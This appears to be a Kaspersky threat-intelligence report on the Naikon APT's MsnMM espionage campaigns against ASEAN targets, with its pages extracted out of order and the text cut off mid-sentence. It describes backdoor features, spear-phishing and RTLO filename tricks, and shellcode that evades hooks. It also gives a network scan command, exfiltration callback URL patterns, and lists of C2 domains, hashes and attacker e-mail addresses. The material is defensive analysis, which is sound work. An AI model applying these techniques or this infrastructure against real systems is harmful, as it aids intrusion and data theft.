6fcc6c2e32fc8cee3fab0ac6fd6194cd 6ff73820c23551225de0ca08c2fc4397 7075c9a874ab5b0c27942714394f3885 72ef4096acd0b9274d5d6f2d981eb724 73c46bacc471db08a6c0e31caef3f9e8 74d8b882efae9fea1787f1558589fecb 76f74b24480bc1a42998c9440ddc2fad 79ac7484d4ad1608cc939ed0ae6e02e8 7ac102b740b299824e34394f334b5508 7ed79032a1ad8535242428e69507ca0a 8b5b5c9852f48fa4430943fd8412e0fb 8bbad466f2257e05f66ece621ccf2056 91510aa0bbf961a34f0326fbaf2bcbb1 9469ff12c582cf7943582dd28a1920cc 96d56c4a5426466f2a0dc3813386818d a1b7f8f3cf6dee880028bd6db8111a1d a313d1092c5245da1c20ac05915a3d11 a4a390f90be49b2bb51194d0844fed7f a668c1dbdcdf2d561bea512361b101b9 a73ec37e872b49e5736cc06193105df9 aba4d663404a807581af7f20105f36d5 b1060166e3e1ba567634fbc96bd0c27d TLP: White For any inquiries, please contact intelreports@kaspersky.com b23c2925ee2d48517d17d4886e21c630 b2d6091ff886b0745fbddf9d61b42064 b312d48899c00e8bbaaff72503a07de8 b71c734112f6351f867ae55229901722 b71dc1257d200783f549822c502173fc bac3b1fbe839af1db4692a747a389e48 c07ac2120b4312b33089c0cc97405876 c60ada815212fc9c58fb801f99c230a4 cc0d753dce58c74011bbb1c116d10e1b d048a6a8377a865f07cbc2429ffaa3e7 d5d0be0b0a9ee793eac9af45f9b14a2e d7341d147c8d63137ed7a0b365ccc56e decb846191be54c441677bb1da264029 dff746868a1559de9d25037e73c06c52 e763e2a3b0b1ed43447afe281e134e95 f3d9689121a996f68533bd78eb6a18d9 f4926f3bacdc2fa78b47c93b9123a5bc f75cebd9a5d2f367117109845561e2d4 fac66827a8cf3197358c1eaf1d6aa2bf 3340360a84d5e186221cd129159788a7 f78fcd4eaf3d9cd95116b6e6212ad327 aefea9d795624da16d878dc9bb81bf87 cb87b5d46015f8416d9d3a50bfc0cf19 3f879b77a5bd4cf5cf20ac6072fdbf5d 560f7807da12409779a2dc71e06bcebe 5aca63d39b56206e0c8c9a084d0446a3 4ff74ab38668b524b85fd51825efe3fc 52e50e109861d530e44eaf0ec2704751 71af60e77a148e45dbdec4de8411e16f 2607abe604832363514eb58c33a682fc e7cf1f540f773b35f8ad988d14d7226e bbc79bca19b0ebb95cb9cc69cc656382 2b3baed817a79109824d3a8a94f6c317 6B74ACF4246F9C85ED6D020330FBEC39 D146C3A288AD021B25D7241431F7494C 8B1EFE545D1ABE35FF095F8A1D35FAAE b1bc9b06e3aa12fb899cd715abbeb257 4e2405d93e541f9bae34564c80f7432e fa6fbd1dd2d58885772bd0b37633d5d7 7.2.5. Backdoor related files %systemdrive%\ProgramData\cloud\skype.exe %systemdrive%\ProgramData\cloud\msnn.dll %systemdrive%\ProgramData\cloud\pluse.dll %systemdrive%\ProgramData\skypee\skype.exe %systemdrive%\ProgramData\skypee\msnn.dll %systemdrive%\ProgramData\skypee\pluse.dll %systemdrive%\Program Files\Messenger\MSN.exe %systemdrive%\Program Files\Messenger\msnn.dll %systemdrive%\Program Files\Messenger\pluse.dll %systemdrive%\ProgramData\syn\Skype.exe %systemdrive%\ProgramData\syn\msnn.dll %systemdrive%\ProgramData\syn\pluse.dll 7.2.6. Attacker e-mail accounts used in spear phishing attacks newsletar05@gmail.com ynet48@gmail.com mako22014@gmail.com italy.officce@gmail.com TLP: White For any inquiries, please contact intelreports@kaspersky.com Securelist, the resource for Kaspersky Lab experts technical research, analysis, and thoughts. Follow us Kaspersky Lab global Website Academy Business Eugene ThreatPost Daily Eugene Kaspersky Blog Daily Kaspersky Lab B2C Blog Business Daily Kaspersky Lab B2B Blog Academy Business ThreatPost Daily Kaspersky Lab security news service Academy Business Daily Kaspersky Lab Academy Academy Business Eugene SecureList ThreatPost Daily TLP: White For any inquiries, please contact intelreports@kaspersky.com Kaspersky Lab HQ 39A/3 Leningradskoe Shosse Moscow, 125212 Russian Federation more contact details Tel: +7-495-797-8700 Fax: +7-495-797-8709 THE MsnMM CAMPAIGNS The Earliest Naikon APT Campaigns Kurt Baumgartner, Maxim Golovkin May, 2015 The MsnMM Campaigns The Earliest Naikon APT Campaigns TLP White CONTENTS INTRODUCTION.............................................................................................................3 SHARED EXPLOIT GENERATION KIT...........................................................................5 SHARED STRINGS, FUNCTIONALITY, TARGETS, AND INFRASTRUCTURE ACROSS CAMPAIGNS.........................................................6 Similar strings........................................................................................................6 Shared infrastructure........................................................................................... 7 Correlating Target Profiles with spear-phish and Decoy Content............ 7 NAIKON APT MSNMM CAMPAIGN BACKDOORS AND LATERAL MOVEMENT TOOLSET.......................................................................11 SslMM ................................................................................................................... 11 WinMM..................................................................................................................13 exe_exchange (used in attacks prior to ~2012)...........................................14 INJECTv1/INJECTRESOURCE..........................................................................14 The xsPlus/nokian backdoor and keylogger.................................................14 NAIKON AND MINOR LINKS WITH APT30...............................................................15 Sys10 ....................................................................................................................16 WininetMM/Sakto............................................................................................... 17 SECOND STAGE TOOLS...............................................................................................18 CUSTOM HDOOR ........................................................................................................19 TARGET AND VICTIM PROFILES................................................................................21 SPEAR-PHISH, DROPPED FILES, WEB BROWSER INJECTION............................ 22 APPENDIX A: MsnMM SPEAR-PHISH AND DECOY CONTENT............................ 28 winMM-related Dropped Decoy Documents...............................................32 APPENDIX B: KASPERSKY LAB VERDICT NAMES................................................... 43 APPENDIX C: MD5 REFERENCE SET......................................................................... 46 SslMM................................................................................................................... 46 WinMM................................................................................................................. 46 WininetMM/Sakto.............................................................................................. 46 Injectv1/InjectResource.................................................................................... 46 Exe_Exchange.................................................................................................... 46 Sys10..................................................................................................................... 46 xsPlus (nokian) and plugin................................................................................47 APPENDIX D: C2 (DOMAIN) REFERENCE SET......................................................... 48 For full indicator and other details, please contact intelreports@kaspersky.com The MsnMM Campaigns The Earliest Naikon APT Campaigns TLP White INTRODUCTION Over time, the Naikon APT appears to have used specific toolsets against organizations within a designated country, as though each campaign was focused on one country. There is sometimes crossover between campaigns in several ways: the backdoors they deliver, the infiltration techniques, and the overall infrastructure. Backdoor functionality can also cross campaigns and tools. For example, sometimes we see an inject variant dropping a sys10 backdoor. Or a naikon backdoor dropping a rarstone backdoor. Again, this particular actor is responsible for the MsnMM and Naikon campaigns deploying the following backdoors and tools: sslMM winMM exe_exchange wininetMM/sakto inject sys10 xsControl/naikon and plugins rarstone second stage tools The Naikon group also deployed a lesser-known set of second stage tools. They mixed together legitimate system administration tools with offensive network reconnaissance tools, including a custom network and service scanner and an attack codeset based on old Honker Union codebase shared on Chinese-speaking forums. See Second Stage Tools For years, Naikon downloaders/backdoors were delivered to victim systems with kitproduced CVE-2012-0158 spear-phish. This exploit builder kit was shared amongst multiple APTs, because we see the same exploits dropping tools from various groups. Many of these exploit attachments were blocked by our advanced exploit protection (AEP) on customer systems in Vietnam, Myanmar, the Philippines, and organizations related to the energy sector in these and other ASEAN nations. Some of these backdoors and spear-phish activities also showed up in the Hardore Charlie CEIEC dump. In Jan 2014, we observed in some targets the increase of right-to-leftoverride (RTLO) naming schemes for initial payload delivery. In addition to its custom toolset, it appears to test freely-distributed tools in December 2013, it pushed out For full indicator and other details, please contact intelreports@kaspersky.com The MsnMM Campaigns The Earliest Naikon APT Campaigns TLP White Everything32 to victim systems, and TeamViewer was used as well. It is likely that the group faced difficulties when it came up against anti-malware products and tried abusing legitimate tools for anti-malware evasion. Finally, this threat actor deploys a custom pdf binding tool, to add to its effective but low-tech toolset. The Naikon attackers can be, and in fact have been precise in social-engineering their targets. Data collection prior to an attack may have included the following data points: full names email addresses and status (active or inactive) date of birth and age interests in current events nationality gender previous email and social network communications to and from a target language spoken Victims of the early campaigns were located mostly throughout Myanmar, Vietnam, Singapore, Laos, Malaysia, and the Philippines. There are other locations where Naikon victims can be found, but these countries stand out. To get in to target networks, the Naikon APT relied on email as an attack vector. It first compromised victim systems using common spear-phishing techniques, such as cve2012-0158 exploit attachments, attachments altered with RTLO techniques, and a combination of icon-spoofing and name padding for executables. The MsnMM campaigns featured ripped images and documents re-used for spear-phish decoys, and we see that technique reapplied throughout other Naikon APT campaigns. The winMM components were also delivered to Myanmar victims throughout mid-2013 using RTLO and iconspoofing techniques and sometimes even simpler icon spoofing+double extension+extra spacing in attachment filenames. For example, many of the Backdoor.Win32.MsnMM.i (winMM) executable filenames maintained almost 200 spaces, looking like this: letter to Gov office.doc .exe The Naikon APT used multiple backdoors presenting a variety of behaviors over time, but clusters of indicators were fairly consistent into 2015. For full indicator and other details, please contact intelreports@kaspersky.com The MsnMM Campaigns The Earliest Naikon APT Campaigns TLP White SHARED EXPLOIT GENERATION KIT s interesting that what appear to be multiple campaigns and crews all use a kit that generates CVE-2012-0158 exploits embedded with arbitrary backdoors for spearphishing. One of the interesting characteristics of the Naikon APT s kit-produced shellcode is its runtime function offset calculations and control flow are built to jump past behavior-based protection and sandbox analysis. Each of the win32 api shellcode calls are carefully executed to land just past function hot patch space and prologues, evading user mode trampolines and hooks. MsnMM, Naikon and Rarstone backdoors were generally delivered with stock 0158 exploits. Some dropped iph.bat and an iExplorer.exe that began with a WMcal parameter and profile.dat executable blob loaded into a running IE process. Other APTs use this kit as well. We found Stone Panda Poison Ivy samples delivered with the same CVE-2012-0158 exploits, dropping iph.bat and iExplorer.exe, and running the iExplorer.exe WMcal executable filename and parameter. Finally, we found another exploit builder s template used to attack Korean-speaking targets. It was used across this group and others for building CVE-2012-0158 files, sharing the common author Tran Duy Linh For full indicator and other details, please contact intelreports@kaspersky.com The MsnMM Campaigns The Earliest Naikon APT Campaigns TLP White SHARED STRINGS, FUNCTIONALITY, TARGETS, AND INFRASTRUCTURE ACROSS CAMPAIGNS Multiple Naikon tools used in multiple campaigns shared strings, functionality, a deployment and content focus on ASEAN organizations and other organizations doing business with them, and the infrastructure itself. Let s examine some of the toolset s shared strings and functionality, then move on to shared infrastructure. Similar strings While the Naikon backdoor maintained the user-agent string NOKIAN95/WEB , it also maintained a debug path f:\MyProjects\xServer\Release\xServer.pdb Also, the Naikon backdoor s matching management software is called xsControl Plugins for the Naikon backdoor included a screenshot grabber named xsAdv.dll, and a single export XS_Screencap This debug path in Naikon backdoors is very similar to the debug path maintained in Rarstone backdoors: g:\MyProjects\xsFunction\Release\DLL.pdb The MsnMM campaign backdoors all maintain an internal name, and the functionality changes when comparing them: WinMM WininetMM SslMM A more recent oddity from this group includes a WinMM dropper with the internal name Zhixin , creating a recently compiled Sys10 backdoor. Some executables maintained debug strings across versions and families: J:\chong\new\Release\SslMM.exe J:\chong\nod\Release\SslMM.exe For full indicator and other details, please contact intelreports@kaspersky.com The MsnMM Campaigns The Earliest Naikon APT Campaigns TLP White Shared infrastructure Now, let s take a look at some of the shared infrastructure that helps to tie all of these campaigns together. MsnMM backdoors and naikon backdoors share portions of infrastructure across campaigns. For a quick example, early msnMM backdoors like sslMM, and one of the later tools, exe_exchange, share some domains with the nokian95 (naikon) and sys10 backdoors. There is much crossover. Here, you can see a table recording domains that are shared across the backdoors for command and control infrastructure. exe_exchange sys10 winMM ahzx.eicp.net mncgn.51vip.biz bkav.imshop.in ubaoyouxiang.gicp.net sslMM wininetMM/ sakto xsPlus/naikon googlemm.vicp.net myanmartech.vicp.net Correlating target profiles with spear-phish and decoy content One of the most striking characteristics of this APT is that its targeting interest is revealed by its spear-phish and decoy content. Malicious actors of all stripes, including cybercriminals, have for at least the last ten years abused hot topics in their social-engineering content to better attract and mass-exploit victim systems. It s a pretty worn-out discussion. What is different about the Naikon APT use of hot topics in spear-phish and decoy content is that reveals its specific victims and how these change over time. Precision social engineering seems to be an elevated skill set for the group. A few of the most interesting examples of such content include: a UN discussion and vote on nuclear proliferation and disarmament, the MH370 flight, and construction on the Raytheon-built National Coast Watch Center in PH. For example, in the second week of October 2012, during the gang s intense ongoing focus on SE Asian countries like Cambodia and its diplomats, we find a winMM backdoor detected as "Trojan.Win32.Agent.udtc" in New York City. This verdict identified the Naikon For full indicator and other details, please contact intelreports@kaspersky.com The MsnMM Campaigns The Earliest Naikon APT Campaigns TLP White s backdoor on the victim system. The timing is uncanny because, in that same week speeches and views on nuclear disarmament and non-proliferation were presented by SE Asian country delegates to the United Nations in New York City. An example of such a talk is here; a naikon decoy s content was strikingly similar: MsnMM campaigns most commonly presented spear-phish exploits targeting CVE2012-0158. A listing of screenshots in Appendix A reveals the variety of content and themes, all related to events and topics in the ASEAN region. Example titles include: Letpadaung copper mine.doc Myanmar Wanbao to commence construction of Letpadaung project December 2014 nuclear agreement burma.doc Burma Signs New Nuclear Deal With IAEA September 2013 ALP Statement on Present Illegal Bangali Problem inside Arakan.doc ALP statement on present illegal Bangali problems inside Arakan [pdf] December 2012 Calendar Misslao 2013 Free.doc Miss Lao Calendars January 2014 ASEAN and Partners Firmly Committed to Narrowing the Development Gap.doc ASEAN and Partners Firmly Committed to Narrowing the Development Gap April 2013 refer to the 11th ACD Ministerial Meeting.doc Asia Co-operation Dialogue eyes peace December 2013 Asia s Military Developments.doc Asia s military developments November 2013 For full indicator and other details, please contact intelreports@kaspersky.com The MsnMM Campaigns The Earliest Naikon APT Campaigns TLP White The following example s content was crafted to appear like a legitimate international agreement discussion. After the malicious document is opened and successfully exploits CVE-2012-0158 on the victim workstation, the exploit code drops and opens this decoy Word document: This next example is written with the Laotian Phetsarath OT font, a decoy attempt to be a legitimate Daily News Brief from the Laotian Foreign Ministry of Affairs. It demonstrates the group s intentions to hit targets in Laos: For full indicator and other details, please contact intelreports@kaspersky.com The MsnMM Campaigns The Earliest Naikon APT Campaigns TLP White Appendix A contains many more example document titles and screenshots. The themes and content that would appeal to politically-interested individuals in various parts of the world quickly become obvious. In addition to a high volume of files exploiting CVE-2012-0158, the MsnMM attackers for a brief period used RTLO (right to left override) techniques, and then attachments exploiting CVE-2010-3333. An example of RTLO that creates and opens this decoy document to camouflage its malicious background activity, then dropping and executing MsnMM backdoors on its victim system: UNFC_Statement_final_rcs.pdf For full indicator and other details, please contact intelreports@kaspersky.com The MsnMM Campaigns The Earliest Naikon APT Campaigns TLP White NAIKON APT MSNMM CAMPAIGN BACKDOORS AND LATERAL MOVEMENT TOOLSET SslMM MD5 Filename File Size Compilation date Linker version 7b1199523a662a3844ba590f83b56dae %temp%\conime.exe 77,824 bytes 2013:01:31 01:25:38+00:00 The MsnMM gang built and released many more variants of their sslMM creation. The code is a full-featured backdoor. Each variant of this tool starts by attempting to create a socket, and then creates a new thread implementing a fairly complicated keylogging facility not often seen, using Windows Keyboard Accelerators. Online code demonstrates the technique here: http://thronic.com/Win32%20Keylogging/ The backdoor retrieves a large number of victim system data points, which it then uses to check in to its hardcoded C2. The backdoor reports system identification information both to present the victim s identifying information and to fingerprint the system for asset management: OS version Service pack information Processor speed System name Logged-on user name OS install date One of its more interesting features is the ability to fetch and use certificates from the store on Windows systems. The certificate store is created on a peruser basis, and this is where users certificates are stored. It is reserved for each user for signing and decrypting data and encrypting network communications. For full indicator and other details, please contact intelreports@kaspersky.com The MsnMM Campaigns The Earliest Naikon APT Campaigns TLP White Feature list: Victim fingerprinting and performance sensitivity system configuration collection Persistence immediately identifying the Start Menu Startup directory and dropping a LNK to its own executable disguised as a Office Start Yahoo Talk MSN Gaming Z0ne , or MSN Talk shortcut Configurable network settings both a primary and backup C2 string is hard-coded in each backdoor. At this point, we are aware of almost 50 domains and unique IP addresses used to host C2 Keylogging facility Windows Accelerators with hidden window and lengthy Accelerator table Flexible network connectivity proxy support for use with victim systems situated behind isolated networks GET and POST network code for exfiltrating system information Log file capabilities File search and file write primitives identifying and collecting sensitive ondisk information Download and execute further arbitrary downloads Arbitrary inter-process launch and communication through named pipes Process privilege and token adjustments Anti-malware kill-process identification and termination Digital Certificate stealing and reuse for stealth SSL communications Network server listener For full indicator and other details, please contact intelreports@kaspersky.com The MsnMM Campaigns The Earliest Naikon APT Campaigns TLP White WinMM MD5 Filename File Size Compilation date Linker version c8c81cca4645e71213f2310cec6c277d %temp%\wuauc1t.exe 118,784 bytes 2012.11.01 00:53:49 WinMM is a full-featured, simple backdoor. Its first actions upon installation are to collect user and system data and report them back to the C2 over http. It uses NetUserGetInfo to identify that it is running under an Admin account on the local system, then retrieves the system name and the version of the operating system that is running, including its service pack, and collects the system install date from the registry: \\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\ CurrentVersion\InstallDate These values are built into a single string for reporting. SslMM also maintains this code chunk and functionality but does not immediately invoke it like winMM. Also interesting and different from sslMM, are the decoy Word documents dropped by many of the winMM droppers. Images of these documents are shown in the Appendix. The documents are all written and formatted with a specially developed Myanmar2 True Type font, demonstrating the focus on politicallyconnected, native Myanmar speakers as targets. This font is not delivered by default with Microsoft Office. Instead, it must have been specifically installed by the attackers and then by the victims, otherwise the documents would not have displayed properly. The backdoor maintains multiple primitive functionalities. Setting a WH_CBT Windows hook for full activity spying (sslMM does not maintain this hooking functionality): File search and capture Process creation Keystroke capture The backdoor is usually configured with primary and backup domains for C2 communications, although there are multiple known samples that maintain an IP address or only a single domain for communications with no backup. Communication is built to appear as though a web browser is simply making a request to a remote web server. Some of these backdoors are configured to use an unusual port for encrypted communications. For full indicator and other details, please contact intelreports@kaspersky.com The MsnMM Campaigns The Earliest Naikon APT Campaigns TLP White exe_exchange (used in attacks prior to ~2012) MD5 Filename File Size Compilation date Linker version 6a82c153bd370250cc2fed89f1bb5c91 %temp%\services.exe 69,632 bytes 2012-03-13 07:54:19 Compilation date Linker version INJECTv1/INJECTRESOURCE MD5 Filename File Size b295274423c91ad9e254475bf8edd459 wmiprive.exe 159,744 bytes May 27, 2013 The xsPlus/nokian backdoor and keylogger MD5 Filename File Size Compilation date d86106faaa398b8d83437176bf5e39c4 281,624 bytes 2011.12.19 08:06:30 Linker version In 2014 the Naikon gang was found to be using another tool that maintains an internal name xsPlus and xsControl . This builder and its backdoors produce components with the NOKIAN95/WEBx user-agent strings, for which there are multiple versions. s functionality is covered in our previous Naikon APT post. For full indicator and other details, please contact intelreports@kaspersky.com The MsnMM Campaigns The Earliest Naikon APT Campaigns TLP White NAIKON AND MINOR LINKS WITH APT30 Another interesting aspect of the backdoor builder is that it also provides a keylogger plugin that is used on specific victim systems. And here there are minor, but striking, similarities with the APT30 tools. Callback sessions for stolen data include these URLs: POST /stonehoof.rar/user=xxx&password=xxx GET /stonehoof.rar/user=xxx&password=xxx Some of the collector components upload data in SQLite3 format, while earlier versions of the tool upload xml formatted data. Presenting a similarity with the APT30 artifacts, their callback domains included stonehoof.com, hosted on several IPs during the naikon campaigns. This name is very unusual, and it is an odd coincidence that it is shared by two geopolitically-focused cyber-espionage groups, both targeting the South China Sea region. APT30 - stonehoof.com 2012-10-07 208.77.46.251 2013-04-03 174.36.159.165 2013-04-14 219.90.115.251 174.36.159.165 219.90.115.251 174.36.159.164 While the MsnMM components include the unusual in internal names sslMM, winMM, and wininetMM, some of the strings in the APT30 GEMSTONE software include the same search and retrieval of the registry key Software\Microsoft\GetMM , and three function names MicrosoftGMMExit, MicrosoftGMMHaveExit, MicrosoftGMMZJ The APT30 BACKSPACE backdoor also contains a similar potential target reference, as discussed in the FireEye paper. BACKSPACE Variant ZJ Auto (version 1.4) Path /autoMM/ Possible Target Myanmar So, the shared by both of these may be a simple reference to Myanmar, the starting target for these Naikon APT attacks. APT30 backdoors also add MSN.lnk shortcuts to the Start Menu Startup location for persistence, just like the MsnMM components spoof Msn Gaming Zone.lnk and Msn Talk.lnk for persistence. For full indicator and other details, please contact intelreports@kaspersky.com The MsnMM Campaigns The Earliest Naikon APT Campaigns TLP White Sys10 MD5 Filename File Size Compilation date Linker version c58df5892700ac3f467524f86bf325c0 - update.exe 116.5 kb 2013.02.01 07:39:12 Yet another backdoor was used throughout 2013 by Naikon. Several of the C2 domains are shared with either Naikon or MsnMM infrastructure. This backdoor is a very basic initial component. To give an idea of the sophistication of its development, one of the decryption schemes it uses is an xor 0x1 loop on the very beginning of its .data section to decrypt its C2 domain. In this case, 6C 6C 6A 62 66 2F 74 68 62 71 2F 6F 64 75 01 (lljbf/thbq/odu) mmkcg.uicp.net. This weak level of encryption is odd, because other strings, like the unicode version of the callback url s.y.s.t.e.n.&.c.p.=.%.s.&.l.o.g.=.%.s.&.i.n.d.e.x.=.%.d. , are maintained in plaintext in the .rdata section. Perhaps the authors thought xor ing the domains would hide their infrastructure for as long as needed, or they were working with others who didn t understand automated sandboxes and tracing but didn t want the dns strings present in the binary. It doesn t seem to make sense, but it appears to have been effective enough to leave in the executables. For all of the Sys10 backdoors, URL parameters were used consistently for the initial C2 callback: systen&cp=&log=&index= where: cp = system computername log = signed decimal integer representation of the OS InstallDate index = simply the return value from a GetTickCount call The backdoor collects several bits of identifying information to send to the C2: computer name account name of logged-in user group name of logged-in user local IP address OS versioning information OS install date For full indicator and other details, please contact intelreports@kaspersky.com The MsnMM Campaigns The Earliest Naikon APT Campaigns TLP White The backdoor maintains a simple set of primitives: http-based communications with hardcoded C2 download additional components start a new process terminate a running process find files and copy them delete files create files We detected this backdoor on multiple victim workstations with the following verdicts: Trojan.Win32.Agentb.hyb Trojan.Win32.Agentb.iqj Backdoor.Win32.MsnMM.p UDS:DangerousObject.Multi.Generic Trojan.Win32.Agentb.jwp According to KSN (Kaspersky Security Network) data, almost all of the victims attacked with this backdoor are based in Myanmar, or were Myanmar delegates travelling through the other countries like the US, for example. Some of the victims were located in Vietnam and Singapore. Victim profiles range from global political representatives and local IT service companies, to government ministries controlling media and news content, university students, and local law enforcement agencies. WininetMM/Sakto MD5 Filename File Size Compilation date Linker version 516f64dd4fce3b9a325ea8501f97a88a 95,744 bytes 2014.11.03 07:59:14 For full indicator and other details, please contact intelreports@kaspersky.com The MsnMM Campaigns The Earliest Naikon APT Campaigns TLP White SECOND STAGE TOOLS Most of the Naikon APT s second stage tools detected on victim networks are publiclyavailable. Some are very common system administration tools and utilities, and some are less publicly-available custom written scanners and tools available through Chinese hacking forums. Their ability to move through networks undisturbed appears to have matured over time, demonstrating that they are a seasoned team: Windows system utilities: ftp.exe, systeminfo.exe, ipconfig, net view, ping, netstat -ano, net use, quser, tasklist, netsh interface ip, netsh interface show, netsh advfirewall firewall, reg export, AT Sysinternals: procmon.exe, tcpview.exe, procexep.exe, psexec Prosolve: winscan.exe Rarlabs: rar.exe Other: procex.exe, nc.exe, xscan.exe, winscanx.exe, hscan120.rar package (includes mysql.exe and sqlcmd.exe), cutfile.exe, tftp.exe, Win7 elevation of privilege and UAC bypass, ReadPSW.exe (password stealer) The Naikon APT frequently used a custom backdoor that appears to be an HDoor variant, based on old Honker Union code like hscan v120 . For example, once on a victim network, one of the first steps is to run the hdoor -hbs scan to identify target local network hosts. Alternatively, it may show up on victim networks and be run with a long list of parameters: lms.dat -hscan 192.168.0.1-192.168.0.254 /a For full indicator and other details, please contact intelreports@kaspersky.com The MsnMM Campaigns The Earliest Naikon APT Campaigns TLP White CUSTOM HDOOR MD5 Filename File Size Compilation date Detection Name bf6d3f52ab8176122be858ddccc22148 - lms.dat 56 kb 2015.05.20 HackTool.Win32.Agent.whj The Naikon APT s custom-built HDoor tool is a robust reconnaissance tool for lateral movement, supporting the identification of, interfacing with and attacking of multiple technologies and resources: host, user, group, and related authentication resources and cracking/brute forcing capabilities network asset scanning and identification, including SQL database, embedded network devices like home or SMB routers, and other common network services fake service listener to sniff traffic disk wiping safe delete with multiple overwrites process management local filetime modifier SQL administration toolset SOCKS5 proxy service banner-based scanner AV killer Publicly-available hd.exe (40138f3db14e6e137f8d0bdcbb5851d8), as posted by NCPH: For full indicator and other details, please contact intelreports@kaspersky.com The MsnMM Campaigns The Earliest Naikon APT Campaigns TLP White The corresponding hbs.txt output file content that is sometimes left behind on victim systems: The operator s scanning is somewhat inconsistent. They will scan for a specific set of ports that include 21,22,80,3389,1433,3306, and 389. Sometimes, they add 139 and 445 to the end of that list. Often, they check for a PortString , or banner, which is output to a txt file: [10.1.1.2 ]: Port 22 Open!!! SSH-1.99-Cisco-1.25 [10.1.1.3 ]: Port 21 Open!!! 220-FileZilla Server version 0.9.41 beta [10.1.1.4 ]: Port 21 Open!!! 220 Lexmark X860de FTP Server NP.APS.N332a ready. [10.1.1.5 ]: Port 22 Open!!! SSH-2.0-OpenSSH_5.8 [10.1.1.6 ]: Port 22 Open!!! SSH-2.0-dropbear_0.48 [10.1.1.7 ]: Port 21 Open!!! 220 Service ready for new user [10.1.1.8 ]: Port 21 Open!!! 220 Microsoft FTP Service (Version 5.0). [10.1.1.8 ]: Port 80 Open!!! [10.1.1.8 ]: Port 3389 Open!!! [10.1.1.8 ]: Port 139 Open!!! [10.1.1.9 ]: Port 21 Open!!! 220 fima FTP server (SunOS 5.8) ready. [10.1.1.10 ]: Port 21 Open!!! 220 (vsFTPd 2.0.5) [10.1.1.13 ]: Port 21 Open!!! 220 EthernetBoard OkiLAN 8100e Ver 02.15 FTP server. [10.1.1.15 ]: Port 22 Open!!! SSH-2.0-OpenSSH_5.9p1 Debian-5ubuntu1.1 [10.1.1.21 ]: Port 80 Open!!! http://10.1.1.21/cgi-bin/webproc Dlink WIRELESS AP For full indicator and other details, please contact intelreports@kaspersky.com The MsnMM Campaigns The Earliest Naikon APT Campaigns TLP White TARGET AND VICTIM PROFILES Target profiles included high profile government and military agencies around the South China Sea: Law enforcement Government executive, administrative, regulatory Military operations centers Economic administration State media Public/Private energy Shared Victims with Cycldek and Comparing Lateral Movement with Cycldek The Cycldek APT appeared to follow an operational script across victim systems. It created or used c:\intel on the victim hard disk to unpack tools and compress/ archive stolen victim files and data with Winrar, like "c:\intel\1.rar". Some of these victim systems were occupied by both the Cycldec and Naikon attackers. The Cycldek attackers maintained this c:\intel directory and its subdirectories as a sort of staging point. This mirrors what we have seen with Naikon directory setup on some victims. a set of subdirectories stolen files for exfiltration operational logs process logs Cycldek tools and their config files The Naikon APT and Cycldek APT also share a common attraction to Honker Union codebase. For full indicator and other details, please contact intelreports@kaspersky.com The MsnMM Campaigns The Earliest Naikon APT Campaigns TLP White SPEAR-PHISH, DROPPED FILES, WEB BROWSER INJECTION The common sequence of events on a vulnerable system falling for related spearphish attacks led to a newly-created Internet Explorer process running with execution transferred to additionally loaded executable code, usually profile.dat, maintaining the connectback C2 communication code and data. In this instance, a naikon backdoor was delivered initially as a part of a small package of objects. The exploit attachment dropped iph.bat, iExplorer.exe, and a clean decoy document. The exploit executed this batch file, which in turn executed iExplorer.exe and opened a decoy document from %temp%. The iExplorer.exe process wrote out a profile.dat file, launched the legitimate Internet Explorer, and injected the .dat file into this newly created browser process. It transfered control to the injected .dat code and terminated itself. The .dat code then connected with a hardcoded C2 from within Internet Explorer, a common technique for evading any outbound traffic firewall issues. The full email spear-phish and other decoy documents content presented here display the campaigns focus on ASEAN targets that line up with the MsnMM campaigns. Example spear-phish and dropped sequence for NOKIAN95/WEB sent to web email service provider users in the US and Southeastern Asian region: Example Word document decoy For full indicator and other details, please contact intelreports@kaspersky.com The MsnMM Campaigns The Earliest Naikon APT Campaigns TLP White Example details, exhibiting the common sequence of events on systems: c334737ea5e8f74567bfdc2fce6717b9,2 SpecialServices.doc Drops %temp%\iph.bat c8ed40879e1e3352692fe8c765294955,%temp%\svchost.exe c8ed40879e1e3352692fe8c765294955,C:\WINDOWS\ system32\ymsgr_tray.exe C2: frankhere.oicp.net:443 1b37457632840b04bf03e0745e51e573,readme.rtf Drops %temp%\iph.bat %temp%\iExplorer.exe WMcal 6cbc73fae7118dbd0fae328ce8ee6050,iExplorer.exe,TrojanDownloader.Win32.Cordmix.cu C2: phsenator.vicp.net C2: goihang.vicp.net:443 For full indicator and other details, please contact intelreports@kaspersky.com The MsnMM Campaigns The Earliest Naikon APT Campaigns TLP White Example decoy Word document cb72e70378755f1e8ab744a5b5e692bd,Asia s Military Developments.doc (ripped from Australian Strategic Policy Institute blog post located here http://www.aspistrategist. org.au/asias-military-developments/) 638c119a82a1b1d470e42e2e9712f3fb,iph.bat 79de618615e139053ad92ca1e7bb7456,C:\Documents and Settings\user\Local Settings\ Temp\mshtml.dat 4299846c34fddda2f5a75239f8aca424,C:\DOCUME~1\user\LOCALS~1\Temp\upd.exe Rpcss a3b3a32b6f67e4629133cc4578230efe,C:\WINDOWS\system32\msictl.exe C2: us.googlereader.pw:443 For full indicator and other details, please contact intelreports@kaspersky.com The MsnMM Campaigns The Earliest Naikon APT Campaigns TLP White Example decoy pdf targeting Myanmar government 5f1f6fb3cea3e9c3bd84909b7d37aa8d, knu president speech on 65th anniversary of karen resistance day _burmese language_?fdp.scr indicates RTLO naming, appeared to the target as pdf knu president speech on 65th anniversary of karen resistance day _burmese language_rcs.pdf 55b8b8779001b7e78a6adc55fb546401,C:\DOCUME~1\user\LOCALS~1\Temp\update.exe 8660193a90e70f19a4419ae09306761f,C:\DOCUME~1\user\LOCALS~1\Temp\adobe.pdf C2: ubaoyouxiang.gicp.net For full indicator and other details, please contact intelreports@kaspersky.com The MsnMM Campaigns The Earliest Naikon APT Campaigns TLP White Example decoy Word document targeting PH gov 27ed7c7dd840ff7936418cf029d56603, AFP Summary.doc temp%\iph.bat ceb6e4499cfd8650f3e94fbcf7de48f6,%temp%\iExplorer.exe WMcal b6424852dd0187ea554a1cbc4e3490f3,%temp%\profile.dat C2: ttteco.vicp.net Many of these backdoors were delivered by simply binding decoy pdfs to a Naikon backdoor and sending this bundle to target addresses. Here is a March 2014 spear-phish email with the subject line Fw: Fw: tape transcript for mh370 (3bed6788753690762c7d15a3247d8301): The tape transcript.zip (5de5aa40eb3d30df2053a38bc26963b5) file contains both a pdf file and a Naikon dropper name 24march_final_TAPE TRANSC~1 detected Trojan-Dropper.Win32.Injector.kasl (4972c7205e3279322637f609b9199e97). The dropper maintains a clean copy of this 